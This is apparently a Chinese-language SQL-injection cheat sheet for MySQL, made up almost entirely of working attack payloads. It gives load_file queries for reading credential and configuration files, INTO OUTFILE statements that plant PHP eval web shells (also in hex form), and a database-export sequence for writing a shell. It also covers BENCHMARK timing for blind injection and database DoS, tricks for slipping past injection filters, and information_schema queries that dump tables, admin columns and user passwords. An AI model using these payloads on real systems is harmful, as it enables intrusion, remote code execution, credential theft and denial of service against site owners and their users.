mysql:
內建函式常用函式:left(), mid(), ord(), length(), benchmark(),load_file(), outfile(), concat(),
系統重要資訊:system_user(), user(), current_user, session_user(), database(), version(),
ASCII碼:select char(97,100,109,105,110 ) 回顯:admin
16進位制:select 0x61646D696E 回顯:admin
註釋方法: /* --
使用 /**/ 或者 + 代替空格
@@datadir 讀取資料庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 作業系統
load_file:linux,windows寫全路徑時候,c:/1.txt, /var/www/1.php 路徑均為左斜槓 /
c:/windows/php.ini c:/winnt/php.ini c:/windows/my.ini //管理員登陸過MYSQL會留下密碼和使用者名稱 c:/winnt/my.ini c:/boot.ini
/etc/password / /usr/local/httpd/conf/httpd.conf //也許能找到網站預設目錄 /usr/local/apache2/conf/httpd.conf //也許能找到網站預設目錄哦!FreeBSD下:
load_file(char(47)) 列出了此FreeBSD系統的根目錄
讀不出來的原因:1.許可權不夠: and (select count(*) from mysql.user)>0-- 如果返回OK,則表示有許可權。如果Denied則NO
2.回顯長度限制,Substring(load_file(A),0,50),Substring(load_file(A),50,100)一步一步讀 3.concat()拼接
outfile:寫入條件:1. 未過濾' ' 2.許可權 3.得到網站物理路徑
已經上傳了JPG小馬, union select 1,load_file( /var/www/xiaoma.jpg),3,4,5,6 into outfile '/var/www/xiaoma.php'/*
直接寫入小馬,union select 1,'<?php eval($_POST[cmd])?>',3,4,5,6 into outfile '/var/www/xm.php'/*
||
等價於
||
0x3C3F706870206576616C28245F504F53545B636D645D293F3E
資料庫匯出馬:
- create database Supers;
- use Supers;
- create table SuperT(code text);
- insert into SuperT(code) values ("<?php @eval($_POST['cmd']);?>");
- select * from SuperT into outfile "D:\\xxx\\shell.php";
- drop database Supers;
BENCHMARK:重複執行。不僅可以在display_errors=Off時候,無法判斷SQL正確與否。讓我們盲注的時候判斷技巧。而且可以用來DDOS攻擊資料庫!
- id= union select ,benchmark(,md5('test')), from user where userid= and ord(substring(username,,))= /*
- UNION SELECT IF(SUBSTRING(user_password,1 ,1) = CHAR(52),BENCHMARK(5000000,md5('test')),null) FROM mb_users WHERE user_group = 1;
繞過防注入:
id=-255+union+/*!select*/+1,2,3,4 +號代替被顧慮的空格, !
and 1=2 un%ion sel%ect 1,2,3,4,sys%tem_us%er() %繞過被過濾的SQL語句
爆表:
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16進位制database() order by table_schema limit 0,1) t order by table_schema desc)t limit 1-- 爆出第1個表
select 0,0,concat(table_name),0 from (select * from (select * from information_schema.tables where table_schema=16進位制database() order by table_schema limit 1,1) t order by table_schema desc)t limit 1-- 爆出第2個表
......爆出所有有用的表後,假如得到admin表: 0x61646D696E
select 0,0,concat(cast(count(*) as char)),0 from information_schema.columns where table_name=0x61646D696E and table_schema=database() limit 1-- 爆出ADMIN表的列數
select 0,0,concat(column_name) from (select * from (select * from information_schema.columns where table_name=0x61646D696E and table_schema=database() order by 1 limit 0,1) t order by 1 desc)t limit 1-- 爆出ADMIN表第一個列。即索引為0的列...
root或者足夠許可權可以爆資料庫使用者帳戶,密碼:user password